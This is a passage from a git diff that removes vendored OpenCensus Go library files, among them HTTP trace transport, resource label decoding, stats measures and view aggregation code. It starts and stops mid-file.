trace.StartOptions - format propagation.HTTPFormat - formatSpanName func(*http.Request) string - newClientTrace func(*http.Request, *trace.Span) *httptrace.ClientTrace -} - -// TODO(jbd): Add message events for request and response size. - -// RoundTrip creates a trace.Span and inserts it into the outgoing request's headers. -// The created span can follow a parent span, if a parent is presented in -// the request's context. -func (t *traceTransport) RoundTrip(req *http.Request) (*http.Response, error) { - name := t.formatSpanName(req) - // TODO(jbd): Discuss whether we want to prefix - // outgoing requests with Sent. - ctx, span := trace.StartSpan(req.Context(), name, - trace.WithSampler(t.startOptions.Sampler), - trace.WithSpanKind(trace.SpanKindClient)) - - if t.newClientTrace != nil { - req = req.WithContext(httptrace.WithClientTrace(ctx, t.newClientTrace(req, span))) - } else { - req = req.WithContext(ctx) - } - - if t.format != nil { - // SpanContextToRequest will modify its Request argument, which is - // contrary to the contract for http.RoundTripper, so we need to - // pass it a copy of the Request. - // However, the Request struct itself was already copied by - // the WithContext calls above and so we just need to copy the header. - header := make(http.Header) - for k, v := range req.Header { - header[k] = v - } - req.Header = header - t.format.SpanContextToRequest(span.SpanContext(), req) - } - - span.AddAttributes(requestAttrs(req)...) - resp, err := t.base.RoundTrip(req) - if err != nil { - span.SetStatus(trace.Status{Code: trace.StatusCodeUnknown, Message: err.Error()}) - span.End() - return resp, err - } - - span.AddAttributes(responseAttrs(resp)...) - span.SetStatus(TraceStatus(resp.StatusCode, resp.Status)) - - // span.End() will be invoked after - // a read from resp.Body returns io.EOF or when - // resp.Body.Close() is invoked. - bt := &bodyTracker{rc: resp.Body, span: span} - resp.Body = wrappedBody(bt, resp.Body) - return resp, err -} - -// bodyTracker wraps a response.Body and invokes -// trace.EndSpan on encountering io.EOF on reading -// the body of the original response. -type bodyTracker struct { - rc io.ReadCloser - span *trace.Span -} - -var _ io.ReadCloser = (*bodyTracker)(nil) - -func (bt *bodyTracker) Read(b []byte) (int, error) { - n, err := bt.rc.Read(b) - - switch err { - case nil: - return n, nil - case io.EOF: - bt.span.End() - default: - // For all other errors, set the span status - bt.span.SetStatus(trace.Status{ - // Code 2 is the error code for Internal server error. - Code: 2, - Message: err.Error(), - }) - } - return n, err -} - -func (bt *bodyTracker) Close() error { - // Invoking endSpan on Close will help catch the cases - // in which a read returned a non-nil error, we set the - // span status but didn't end the span. - bt.span.End() - return bt.rc.Close() -} - -// CancelRequest cancels an in-flight request by closing its connection. -func (t *traceTransport) CancelRequest(req *http.Request) { - type canceler interface { - CancelRequest(*http.Request) - } - if cr, ok := t.base.(canceler); ok { - cr.CancelRequest(req) - } -} - -func spanNameFromURL(req *http.Request) string { - return req.URL.Path -} - -func requestAttrs(r *http.Request) []trace.Attribute { - userAgent := r.UserAgent() - - attrs := make([]trace.Attribute, 0, 5) - attrs = append(attrs, - trace.StringAttribute(PathAttribute, r.URL.Path), - trace.StringAttribute(URLAttribute, r.URL.String()), - trace.StringAttribute(HostAttribute, r.Host), - trace.StringAttribute(MethodAttribute, r.Method), - ) - - if userAgent != "" { - attrs = append(attrs, trace.StringAttribute(UserAgentAttribute, userAgent)) - } - - return attrs -} - -func responseAttrs(resp *http.Response) []trace.Attribute { - return []trace.Attribute{ - trace.Int64Attribute(StatusCodeAttribute, int64(resp.StatusCode)), - } -} - -// TraceStatus is a utility to convert the HTTP status code to a trace.Status that -// represents the outcome as closely as possible. -func TraceStatus(httpStatusCode int, statusLine string) trace.Status { - var code int32 - if httpStatusCode < 200 || httpStatusCode >= 400 { - code = trace.StatusCodeUnknown - } - switch httpStatusCode { - case 499: - code = trace.StatusCodeCancelled - case http.StatusBadRequest: - code = trace.StatusCodeInvalidArgument - case http.StatusGatewayTimeout: - code = trace.StatusCodeDeadlineExceeded - case http.StatusNotFound: - code = trace.StatusCodeNotFound - case http.StatusForbidden: - code = trace.StatusCodePermissionDenied - case http.StatusUnauthorized: // 401 is actually unauthenticated. - code = trace.StatusCodeUnauthenticated - case http.StatusTooManyRequests: - code = trace.StatusCodeResourceExhausted - case http.StatusNotImplemented: - code = trace.StatusCodeUnimplemented - case http.StatusServiceUnavailable: - code = trace.StatusCodeUnavailable - case http.StatusOK: - code = trace.StatusCodeOK - } - return trace.Status{Code: code, Message: codeToStr[code]} -} - -var codeToStr = map[int32]string{ - trace.StatusCodeOK: `OK`, - trace.StatusCodeCancelled: `CANCELLED`, - trace.StatusCodeUnknown: `UNKNOWN`, - trace.StatusCodeInvalidArgument: `INVALID_ARGUMENT`, - trace.StatusCodeDeadlineExceeded: `DEADLINE_EXCEEDED`, - trace.StatusCodeNotFound: `NOT_FOUND`, - trace.StatusCodeAlreadyExists: `ALREADY_EXISTS`, - trace.StatusCodePermissionDenied: `PERMISSION_DENIED`, - trace.StatusCodeResourceExhausted: `RESOURCE_EXHAUSTED`, - trace.StatusCodeFailedPrecondition: `FAILED_PRECONDITION`, - trace.StatusCodeAborted: `ABORTED`, - trace.StatusCodeOutOfRange: `OUT_OF_RANGE`, - trace.StatusCodeUnimplemented: `UNIMPLEMENTED`, - trace.StatusCodeInternal: `INTERNAL`, - trace.StatusCodeUnavailable: `UNAVAILABLE`, - trace.StatusCodeDataLoss: `DATA_LOSS`, - trace.StatusCodeUnauthenticated: `UNAUTHENTICATED`, -} - -func isHealthEndpoint(path string) bool { - // Health checking is pretty frequent and - // traces collected for health endpoints - // can be extremely noisy and expensive. - // Disable canonical health checking endpoints - // like /healthz and /_ah/health for now. - if path == "/healthz" || path == "/_ah/health" { - return true - } - return false -} diff --git a/vendor/go.opencensus.io/plugin/ochttp/wrapped_body.go b/vendor/go.opencensus.io/plugin/ochttp/wrapped_body.go deleted file mode 100644 index 7d75cae2b1..0000000000 --- a/vendor/go.opencensus.io/plugin/ochttp/wrapped_body.go +++ /dev/null @@ -1,44 +0,0 @@ -// Copyright 2019, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package ochttp - -import ( - "io" -) - -// wrappedBody returns a wrapped version of the original -// Body and only implements the same combination of additional -// interfaces as the original. -func wrappedBody(wrapper io.ReadCloser, body io.ReadCloser) io.ReadCloser { - var ( - wr, i0 = body.(io.Writer) - ) - switch { - case !i0: - return struct { - io.ReadCloser - }{wrapper} - - case i0: - return struct { - io.ReadCloser - io.Writer - }{wrapper, wr} - default: - return struct { - io.ReadCloser - }{wrapper} - } -} diff --git a/vendor/go.opencensus.io/resource/resource.go b/vendor/go.opencensus.io/resource/resource.go deleted file mode 100644 index b1764e1d3b..0000000000 --- a/vendor/go.opencensus.io/resource/resource.go +++ /dev/null @@ -1,164 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// Package resource provides functionality for resource, which capture -// identifying information about the entities for which signals are exported. -package resource - -import ( - "context" - "fmt" - "os" - "regexp" - "sort" - "strconv" - "strings" -) - -// Environment variables used by FromEnv to decode a resource. -const ( - EnvVarType = "OC_RESOURCE_TYPE" - EnvVarLabels = "OC_RESOURCE_LABELS" -) - -// Resource describes an entity about which identifying information and metadata is exposed. -// For example, a type "k8s.io/container" may hold labels describing the pod name and namespace. -type Resource struct { - Type string - Labels map[string]string -} - -// EncodeLabels encodes a labels map to a string as provided via the OC_RESOURCE_LABELS environment variable. -func EncodeLabels(labels map[string]string) string { - sortedKeys := make([]string, 0, len(labels)) - for k := range labels { - sortedKeys = append(sortedKeys, k) - } - sort.Strings(sortedKeys) - - s := "" - for i, k := range sortedKeys { - if i > 0 { - s += "," - } - s += k + "=" + strconv.Quote(labels[k]) - } - return s -} - -var labelRegex = regexp.MustCompile(`^\s*([[:ascii:]]{1,256}?)=("[[:ascii:]]{0,256}?")\s*,`) - -// DecodeLabels decodes a serialized label map as used in the OC_RESOURCE_LABELS variable. -// A list of labels of the form `="",="",...` is accepted. -// Domain names and paths are accepted as label keys. -// Most users will want to use FromEnv instead. -func DecodeLabels(s string) (map[string]string, error) { - m := map[string]string{} - // Ensure a trailing comma, which allows us to keep the regex simpler - s = strings.TrimRight(strings.TrimSpace(s), ",") + "," - - for len(s) > 0 { - match := labelRegex.FindStringSubmatch(s) - if len(match) == 0 { - return nil, fmt.Errorf("invalid label formatting, remainder: %s", s) - } - v := match[2] - if v == "" { - v = match[3] - } else { - var err error - if v, err = strconv.Unquote(v); err != nil { - return nil, fmt.Errorf("invalid label formatting, remainder: %s, err: %s", s, err) - } - } - m[match[1]] = v - - s = s[len(match[0]):] - } - return m, nil -} - -// FromEnv is a detector that loads resource information from the OC_RESOURCE_TYPE -// and OC_RESOURCE_labelS environment variables. -func FromEnv(context.Context) (*Resource, error) { - res := &Resource{ - Type: strings.TrimSpace(os.Getenv(EnvVarType)), - } - labels := strings.TrimSpace(os.Getenv(EnvVarLabels)) - if labels == "" { - return res, nil - } - var err error - if res.Labels, err = DecodeLabels(labels); err != nil { - return nil, err - } - return res, nil -} - -var _ Detector = FromEnv - -// merge resource information from b into a. In case of a collision, a takes precedence. -func merge(a, b *Resource) *Resource { - if a == nil { - return b - } - if b == nil { - return a - } - res := &Resource{ - Type: a.Type, - Labels: map[string]string{}, - } - if res.Type == "" { - res.Type = b.Type - } - for k, v := range b.Labels { - res.Labels[k] = v - } - // Labels from resource a overwrite labels from resource b. - for k, v := range a.Labels { - res.Labels[k] = v - } - return res -} - -// Detector attempts to detect resource information. -// If the detector cannot find resource information, the returned resource is nil but no -// error is returned. -// An error is only returned on unexpected failures. -type Detector func(context.Context) (*Resource, error) - -// MultiDetector returns a Detector that calls all input detectors in order and -// merges each result with the previous one. In case a type of label key is already set, -// the first set value is takes precedence. -// It returns on the first error that a sub-detector encounters. -func MultiDetector(detectors ...Detector) Detector { - return func(ctx context.Context) (*Resource, error) { - return detectAll(ctx, detectors...) - } -} - -// detectall calls all input detectors sequentially an merges each result with the previous one. -// It returns on the first error that a sub-detector encounters. -func detectAll(ctx context.Context, detectors ...Detector) (*Resource, error) { - var res *Resource - for _, d := range detectors { - r, err := d(ctx) - if err != nil { - return nil, err - } - res = merge(res, r) - } - return res, nil -} diff --git a/vendor/go.opencensus.io/stats/doc.go b/vendor/go.opencensus.io/stats/doc.go deleted file mode 100644 index 00d473ee02..0000000000 --- a/vendor/go.opencensus.io/stats/doc.go +++ /dev/null @@ -1,69 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -/* -Package stats contains support for OpenCensus stats recording. - -OpenCensus allows users to create typed measures, record measurements, -aggregate the collected data, and export the aggregated data. - -Measures - -A measure represents a type of data point to be tracked and recorded. -For example, latency, request Mb/s, and response Mb/s are measures -to collect from a server. - -Measure constructors such as Int64 and Float64 automatically -register the measure by the given name. Each registered measure needs -to be unique by name. Measures also have a description and a unit. - -Libraries can define and export measures. Application authors can then -create views and collect and break down measures by the tags they are -interested in. - -Recording measurements - -Measurement is a data point to be collected for a measure. For example, -for a latency (ms) measure, 100 is a measurement that represents a 100ms -latency event. Measurements are created from measures with -the current context. Tags from the current context are recorded with the -measurements if they are any. - -Recorded measurements are dropped immediately if no views are registered for them. -There is usually no need to conditionally enable and disable -recording to reduce cost. Recording of measurements is cheap. - -Libraries can always record measurements, and applications can later decide -on which measurements they want to collect by registering views. This allows -libraries to turn on the instrumentation by default. - -Exemplars - -For a given recorded measurement, the associated exemplar is a diagnostic map -that gives more information about the measurement. - -When aggregated using a Distribution aggregation, an exemplar is kept for each -bucket in the Distribution. This allows you to easily find an example of a -measurement that fell into each bucket. - -For example, if you also use the OpenCensus trace package and you -record a measurement with a context that contains a sampled trace span, -then the trace span will be added to the exemplar associated with the measurement. - -When exported to a supporting back end, you should be able to easily navigate -to example traces that fell into each bucket in the Distribution. - -*/ -package stats // import "go.opencensus.io/stats" diff --git a/vendor/go.opencensus.io/stats/internal/record.go b/vendor/go.opencensus.io/stats/internal/record.go deleted file mode 100644 index 36935e629b..0000000000 --- a/vendor/go.opencensus.io/stats/internal/record.go +++ /dev/null @@ -1,25 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package internal - -import ( - "go.opencensus.io/tag" -) - -// DefaultRecorder will be called for each Record call. -var DefaultRecorder func(tags *tag.Map, measurement interface{}, attachments map[string]interface{}) - -// SubscriptionReporter reports when a view subscribed with a measure. -var SubscriptionReporter func(measure string) diff --git a/vendor/go.opencensus.io/stats/measure.go b/vendor/go.opencensus.io/stats/measure.go deleted file mode 100644 index 1ffd3cefc7..0000000000 --- a/vendor/go.opencensus.io/stats/measure.go +++ /dev/null @@ -1,109 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package stats - -import ( - "sync" - "sync/atomic" -) - -// Measure represents a single numeric value to be tracked and recorded. -// For example, latency, request bytes, and response bytes could be measures -// to collect from a server. -// -// Measures by themselves have no outside effects. In order to be exported, -// the measure needs to be used in a View. If no Views are defined over a -// measure, there is very little cost in recording it. -type Measure interface { - // Name returns the name of this measure. - // - // Measure names are globally unique (among all libraries linked into your program). - // We recommend prefixing the measure name with a domain name relevant to your - // project or application. - // - // Measure names are never sent over the wire or exported to backends. - // They are only used to create Views. - Name() string - - // Description returns the human-readable description of this measure. - Description() string - - // Unit returns the units for the values this measure takes on. - // - // Units are encoded according to the case-sensitive abbreviations from the - // Unified Code for Units of Measure: http://unitsofmeasure.org/ucum.html - Unit() string -} - -// measureDescriptor is the untyped descriptor associated with each measure. -// Int64Measure and Float64Measure wrap measureDescriptor to provide typed -// recording APIs. -// Two Measures with the same name will have the same measureDescriptor. -type measureDescriptor struct { - subs int32 // access atomically - - name string - description string - unit string -} - -func (m *measureDescriptor) subscribe() { - atomic.StoreInt32(&m.subs, 1) -} - -func (m *measureDescriptor) subscribed() bool { - return atomic.LoadInt32(&m.subs) == 1 -} - -var ( - mu sync.RWMutex - measures = make(map[string]*measureDescriptor) -) - -func registerMeasureHandle(name, desc, unit string) *measureDescriptor { - mu.Lock() - defer mu.Unlock() - - if stored, ok := measures[name]; ok { - return stored - } - m := &measureDescriptor{ - name: name, - description: desc, - unit: unit, - } - measures[name] = m - return m -} - -// Measurement is the numeric value measured when recording stats. Each measure -// provides methods to create measurements of their kind. For example, Int64Measure -// provides M to convert an int64 into a measurement. -type Measurement struct { - v float64 - m Measure - desc *measureDescriptor -} - -// Value returns the value of the Measurement as a float64. -func (m Measurement) Value() float64 { - return m.v -} - -// Measure returns the Measure from which this Measurement was created. -func (m Measurement) Measure() Measure { - return m.m -} diff --git a/vendor/go.opencensus.io/stats/measure_float64.go b/vendor/go.opencensus.io/stats/measure_float64.go deleted file mode 100644 index f02c1eda84..0000000000 --- a/vendor/go.opencensus.io/stats/measure_float64.go +++ /dev/null @@ -1,55 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package stats - -// Float64Measure is a measure for float64 values. -type Float64Measure struct { - desc *measureDescriptor -} - -// M creates a new float64 measurement. -// Use Record to record measurements. -func (m *Float64Measure) M(v float64) Measurement { - return Measurement{ - m: m, - desc: m.desc, - v: v, - } -} - -// Float64 creates a new measure for float64 values. -// -// See the documentation for interface Measure for more guidance on the -// parameters of this function. -func Float64(name, description, unit string) *Float64Measure { - mi := registerMeasureHandle(name, description, unit) - return &Float64Measure{mi} -} - -// Name returns the name of the measure. -func (m *Float64Measure) Name() string { - return m.desc.name -} - -// Description returns the description of the measure. -func (m *Float64Measure) Description() string { - return m.desc.description -} - -// Unit returns the unit of the measure. -func (m *Float64Measure) Unit() string { - return m.desc.unit -} diff --git a/vendor/go.opencensus.io/stats/measure_int64.go b/vendor/go.opencensus.io/stats/measure_int64.go deleted file mode 100644 index d101d79735..0000000000 --- a/vendor/go.opencensus.io/stats/measure_int64.go +++ /dev/null @@ -1,55 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package stats - -// Int64Measure is a measure for int64 values. -type Int64Measure struct { - desc *measureDescriptor -} - -// M creates a new int64 measurement. -// Use Record to record measurements. -func (m *Int64Measure) M(v int64) Measurement { - return Measurement{ - m: m, - desc: m.desc, - v: float64(v), - } -} - -// Int64 creates a new measure for int64 values. -// -// See the documentation for interface Measure for more guidance on the -// parameters of this function. -func Int64(name, description, unit string) *Int64Measure { - mi := registerMeasureHandle(name, description, unit) - return &Int64Measure{mi} -} - -// Name returns the name of the measure. -func (m *Int64Measure) Name() string { - return m.desc.name -} - -// Description returns the description of the measure. -func (m *Int64Measure) Description() string { - return m.desc.description -} - -// Unit returns the unit of the measure. -func (m *Int64Measure) Unit() string { - return m.desc.unit -} diff --git a/vendor/go.opencensus.io/stats/record.go b/vendor/go.opencensus.io/stats/record.go deleted file mode 100644 index ad4691184d..0000000000 --- a/vendor/go.opencensus.io/stats/record.go +++ /dev/null @@ -1,117 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package stats - -import ( - "context" - - "go.opencensus.io/metric/metricdata" - "go.opencensus.io/stats/internal" - "go.opencensus.io/tag" -) - -func init() { - internal.SubscriptionReporter = func(measure string) { - mu.Lock() - measures[measure].subscribe() - mu.Unlock() - } -} - -type recordOptions struct { - attachments metricdata.Attachments - mutators []tag.Mutator - measurements []Measurement -} - -// WithAttachments applies provided exemplar attachments. -func WithAttachments(attachments metricdata.Attachments) Options { - return func(ro *recordOptions) { - ro.attachments = attachments - } -} - -// WithTags applies provided tag mutators. -func WithTags(mutators ...tag.Mutator) Options { - return func(ro *recordOptions) { - ro.mutators = mutators - } -} - -// WithMeasurements applies provided measurements. -func WithMeasurements(measurements ...Measurement) Options { - return func(ro *recordOptions) { - ro.measurements = measurements - } -} - -// Options apply changes to recordOptions. -type Options func(*recordOptions) - -func createRecordOption(ros ...Options) *recordOptions { - o := &recordOptions{} - for _, ro := range ros { - ro(o) - } - return o -} - -// Record records one or multiple measurements with the same context at once. -// If there are any tags in the context, measurements will be tagged with them. -func Record(ctx context.Context, ms ...Measurement) { - RecordWithOptions(ctx, WithMeasurements(ms...)) -} - -// RecordWithTags records one or multiple measurements at once. -// -// Measurements will be tagged with the tags in the context mutated by the mutators. -// RecordWithTags is useful if you want to record with tag mutations but don't want -// to propagate the mutations in the context. -func RecordWithTags(ctx context.Context, mutators []tag.Mutator, ms ...Measurement) error { - return RecordWithOptions(ctx, WithTags(mutators...), WithMeasurements(ms...)) -} - -// RecordWithOptions records measurements from the given options (if any) against context -// and tags and attachments in the options (if any). -// If there are any tags in the context, measurements will be tagged with them. -func RecordWithOptions(ctx context.Context, ros ...Options) error { - o := createRecordOption(ros...) - if len(o.measurements) == 0 { - return nil - } - recorder := internal.DefaultRecorder - if recorder == nil { - return nil - } - record := false - for _, m := range o.measurements { - if m.desc.subscribed() { - record = true - break - } - } - if !record { - return nil - } - if len(o.mutators) > 0 { - var err error - if ctx, err = tag.New(ctx, o.mutators...); err != nil { - return err - } - } - recorder(tag.FromContext(ctx), o.measurements, o.attachments) - return nil -} diff --git a/vendor/go.opencensus.io/stats/units.go b/vendor/go.opencensus.io/stats/units.go deleted file mode 100644 index 6931a5f296..0000000000 --- a/vendor/go.opencensus.io/stats/units.go +++ /dev/null @@ -1,25 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package stats - -// Units are encoded according to the case-sensitive abbreviations from the -// Unified Code for Units of Measure: http://unitsofmeasure.org/ucum.html -const ( - UnitNone = "1" // Deprecated: Use UnitDimensionless. - UnitDimensionless = "1" - UnitBytes = "By" - UnitMilliseconds = "ms" -) diff --git a/vendor/go.opencensus.io/stats/view/aggregation.go b/vendor/go.opencensus.io/stats/view/aggregation.go deleted file mode 100644 index b7f169b4a5..0000000000 --- a/vendor/go.opencensus.io/stats/view/aggregation.go +++ /dev/null @@ -1,120 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package view - -// AggType represents the type of aggregation function used on a View. -type AggType int - -// All available aggregation types. -const ( - AggTypeNone AggType = iota // no aggregation; reserved for future use. - AggTypeCount // the count aggregation, see Count. - AggTypeSum // the sum aggregation, see Sum. - AggTypeDistribution // the distribution aggregation, see Distribution. - AggTypeLastValue // the last value aggregation, see LastValue. -) - -func (t AggType) String() string { - return aggTypeName[t] -} - -var aggTypeName = map[AggType]string{ - AggTypeNone: "None", - AggTypeCount: "Count", - AggTypeSum: "Sum", - AggTypeDistribution: "Distribution", - AggTypeLastValue: "LastValue", -} - -// Aggregation represents a data aggregation method. Use one of the functions: -// Count, Sum, or Distribution to construct an Aggregation. -type Aggregation struct { - Type AggType // Type is the AggType of this Aggregation. - Buckets []float64 // Buckets are the bucket endpoints if this Aggregation represents a distribution, see Distribution. - - newData func() AggregationData -} - -var ( - aggCount = &Aggregation{ - Type: AggTypeCount, - newData: func() AggregationData { - return &CountData{} - }, - } - aggSum = &Aggregation{ - Type: AggTypeSum, - newData: func() AggregationData { - return &SumData{} - }, - } -) - -// Count indicates that data collected and aggregated -// with this method will be turned into a count value. -// For example, total number of accepted requests can be -// aggregated by using Count. -func Count() *Aggregation { - return aggCount -} - -// Sum indicates that data collected and aggregated -// with this method will be summed up. -// For example, accumulated request bytes can be aggregated by using -// Sum. -func Sum() *Aggregation { - return aggSum -} - -// Distribution indicates that the desired aggregation is -// a histogram distribution. -// -// An distribution aggregation may contain a histogram of the values in the -// population. The bucket boundaries for that histogram are described -// by the bounds. This defines len(bounds)+1 buckets. -// -// If len(bounds) >= 2 then the boundaries for bucket index i are: -// -// [-infinity, bounds[i]) for i = 0 -// [bounds[i-1], bounds[i]) for 0 < i < length -// [bounds[i-1], +infinity) for i = length -// -// If len(bounds) is 0 then there is no histogram associated with the -// distribution. There will be a single bucket with boundaries -// (-infinity, +infinity). -// -// If len(bounds) is 1 then there is no finite buckets, and that single -// element is the common boundary of the overflow and underflow buckets. -func Distribution(bounds ...float64) *Aggregation { - return &Aggregation{ - Type: AggTypeDistribution, - Buckets: bounds, - newData: func() AggregationData { - return newDistributionData(bounds) - }, - } -} - -// LastValue only reports the last value recorded using this -// aggregation. All other measurements will be dropped. -func LastValue() *Aggregation { - return &Aggregation{ - Type: AggTypeLastValue, - newData: func() AggregationData { - return &LastValueData{} - }, - } -} diff --git a/vendor/go.opencensus.io/stats/view/aggregation_data.go b/vendor/go.opencensus.io/stats/view/aggregation_data.go deleted file mode 100644 index d500e67f73..0000000000 --- a/vendor/go.opencensus.io/stats/view/aggregation_data.go +++ /dev/null @@ -1,293 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package view - -import ( - "math" - "time" - - "go.opencensus.io/metric/metricdata" -) - -// AggregationData represents an aggregated value from a collection. -// They are reported on the view data during exporting. -// Mosts users won't directly access aggregration data. -type AggregationData interface { - isAggregationData() bool - addSample(v float64, attachments map[string]interface{}, t time.Time) - clone() AggregationData - equal(other AggregationData) bool - toPoint(t metricdata.Type, time time.Time) metricdata.Point -} - -const epsilon = 1e-9 - -// CountData is the aggregated data for the Count aggregation. -// A count aggregation processes data and counts the recordings. -// -// Most users won't directly access count data. -type CountData struct { - Value int64 -} - -func (a *CountData) isAggregationData() bool { return true } - -func (a *CountData) addSample(_ float64, _ map[string]interface{}, _ time.Time) { - a.Value = a.Value + 1 -} - -func (a *CountData) clone() AggregationData { - return &CountData{Value: a.Value} -} - -func (a *CountData) equal(other AggregationData) bool { - a2, ok := other.(*CountData) - if !ok { - return false - } - - return a.Value == a2.Value -} - -func (a *CountData) toPoint(metricType metricdata.Type, t time.Time) metricdata.Point { - switch metricType { - case metricdata.TypeCumulativeInt64: - return metricdata.NewInt64Point(t, a.Value) - default: - panic("unsupported metricdata.Type") - } -} - -// SumData is the aggregated data for the Sum aggregation. -// A sum aggregation processes data and sums up the recordings. -// -// Most users won't directly access sum data. -type SumData struct { - Value float64 -} - -func (a *SumData) isAggregationData() bool { return true } - -func (a *SumData) addSample(v float64, _ map[string]interface{}, _ time.Time) { - a.Value += v -} - -func (a *SumData) clone() AggregationData { - return &SumData{Value: a.Value} -} - -func (a *SumData) equal(other AggregationData) bool { - a2, ok := other.(*SumData) - if !ok { - return false - } - return math.Pow(a.Value-a2.Value, 2) < epsilon -} - -func (a *SumData) toPoint(metricType metricdata.Type, t time.Time) metricdata.Point { - switch metricType { - case metricdata.TypeCumulativeInt64: - return metricdata.NewInt64Point(t, int64(a.Value)) - case metricdata.TypeCumulativeFloat64: - return metricdata.NewFloat64Point(t, a.Value) - default: - panic("unsupported metricdata.Type") - } -} - -// DistributionData is the aggregated data for the -// Distribution aggregation. -// -// Most users won't directly access distribution data. -// -// For a distribution with N bounds, the associated DistributionData will have -// N+1 buckets. -type DistributionData struct { - Count int64 // number of data points aggregated - Min float64 // minimum value in the distribution - Max float64 // max value in the distribution - Mean float64 // mean of the distribution - SumOfSquaredDev float64 // sum of the squared deviation from the mean - CountPerBucket []int64 // number of occurrences per bucket - // ExemplarsPerBucket is slice the same length as CountPerBucket containing - // an exemplar for the associated bucket, or nil. - ExemplarsPerBucket []*metricdata.Exemplar - bounds []float64 // histogram distribution of the values -} - -func newDistributionData(bounds []float64) *DistributionData { - bucketCount := len(bounds) + 1 - return &DistributionData{ - CountPerBucket: make([]int64, bucketCount), - ExemplarsPerBucket: make([]*metricdata.Exemplar, bucketCount), - bounds: bounds, - Min: math.MaxFloat64, - Max: math.SmallestNonzeroFloat64, - } -} - -// Sum returns the sum of all samples collected. -func (a *DistributionData) Sum() float64 { return a.Mean * float64(a.Count) } - -func (a *DistributionData) variance() float64 { - if a.Count <= 1 { - return 0 - } - return a.SumOfSquaredDev / float64(a.Count-1) -} - -func (a *DistributionData) isAggregationData() bool { return true } - -// TODO(songy23): support exemplar attachments. -func (a *DistributionData) addSample(v float64, attachments map[string]interface{}, t time.Time) { - if v < a.Min { - a.Min = v - } - if v > a.Max { - a.Max = v - } - a.Count++ - a.addToBucket(v, 